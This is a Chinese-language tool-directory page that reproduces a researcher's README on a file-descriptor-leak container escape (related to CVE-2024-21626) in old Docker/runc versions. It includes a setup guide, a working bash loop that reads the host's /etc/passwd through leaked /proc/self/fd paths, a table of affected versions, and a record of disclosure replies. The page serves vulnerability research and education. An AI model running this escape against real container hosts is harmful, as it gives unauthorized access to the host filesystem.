Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
容器安全漏洞分析漏洞利用学习与教育容器逃逸实验室与实践
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

分析并利用旧版Docker/runc中的容器逃逸漏洞,演示文件描述符泄漏以访问主机文件系统,并附带设置和测试脚本。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
211年前尚未审核

旧版 runc 组件中的容器逃逸漏洞 (CVE-2024-21626)

在我分析 CVE-2024-21626 的过程中,我发现其他旧版 Docker 组件也存在 文件描述符泄漏 漏洞(这一点在 安全公告 GHSA-xr7r-f8xq-vfvv 中并未提及)。请阅读我的完整文章以获取详细解释:此处。

1. 搭建环境 🔨

A. 下载并安装 Ubuntu 18.04.6 LTS (Bionic Beaver) 版本

安装过程中不要勾选“下载更新”选项。

B. 安装存在漏洞的 Docker 版本及相关组件

  • 访问 https://download.docker.com/linux/static/stable/x86_64/ 并下载旧版本 docker-X.Y.Z-ce.tgz 进行测试

  • 解压,将内容复制到 /usr/bin 路径,然后运行 Docker 守护进程。

    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

C. 检查已安装的版本

sudo docker version
containerd --version
uname -r

在旧版本中我们使用 docker-runc 而非 runc。因此检查:

ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

检查 docker-runc/runc 的版本

runc --version
docker-runc -v

2. 检查目标是否存在漏洞并找到正确的文件描述符 🧐

运行 checkVulnerability.sh 并查看终端是否打印出文件

# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
# 克隆 CVE-2024-21626-old-docker-versions 仓库
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# 运行 checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

本例中我使用了 docker-17.03.1-ce 版本。 检查漏洞并找到文件描述符

3. 尝试利用 🔫

本例中我使用了 docker-17.03.1-ce 版本。

利用

4. 测试结果 🧪

以下是我按 Docker 版本及关联的 runc 版本整理的分析结果。

docker-runc

Docker 版本docker-runc 版本泄漏的文件描述符编号
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌

runc

Docker 版本runc 版本泄漏的文件描述符编号
docker-18.09.0.tgz1.0.0-rc5+dev❌

以下是显示三种不同易受攻击版本的截图。

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

与 CVE-2024-21626 类似,不同类型的攻击仍然可能发生。

5. 结论与要点 🔚

此漏洞与 CVE-2024-21626 有较大不同,原因如下:

  1. 它可以在缺少 openat2 系统调用的较旧 Linux 版本上触发。
  2. 泄漏的文件描述符位于 /run/runc/<container>/ 路径下,该路径包含正在运行容器的状态,而非主机的 /sys/fs/cgroup 目录。

我发现的是,旧版本也容易受到相同的攻击技术影响。尽管漏洞本身有所不同,但结果是一样的:获得对主机文件系统的访问权限。关键要点是不要仅依赖安全公告——要彻底测试所有内容。完全理解 CVE,了解其工作原理,在安全环境中进行实验,并探索边界情况。

6. 负责任的披露 🕺🏻

我尝试联系 [email protected]、[email protected],并尝试申请 CVE。我收到了以下回复:

请求回复
[email protected] (2024年3月19日)您列出的版本都是 Docker 已经停止支持且不再维护的 EOL 版本(约7年历史)。如果您对现有 GHSA-xr7r-f8xq-vfvv 公告中列出的版本或措辞有疑问("受影响版本:>= 1.0.0-rc93, <= 1.1.11"),则正确的报告渠道应是 OCI 安全邮箱:https://github.com/opencontainers/.github/blob/main/SECURITY.md 感谢您的联系。如果还有其他我们可以帮助的,请告知。
[email protected] (2024年3月20日)无回复
CVE-MITRE (2024年5月15日)我们通常不会为仅存在于候选发布版中的问题分配 CVE ID。https://www.cve.org/CVERecord?id=CVE-2024-21626 影响了已发布的 runc 版本,例如 1.1.11 版本。
下载工具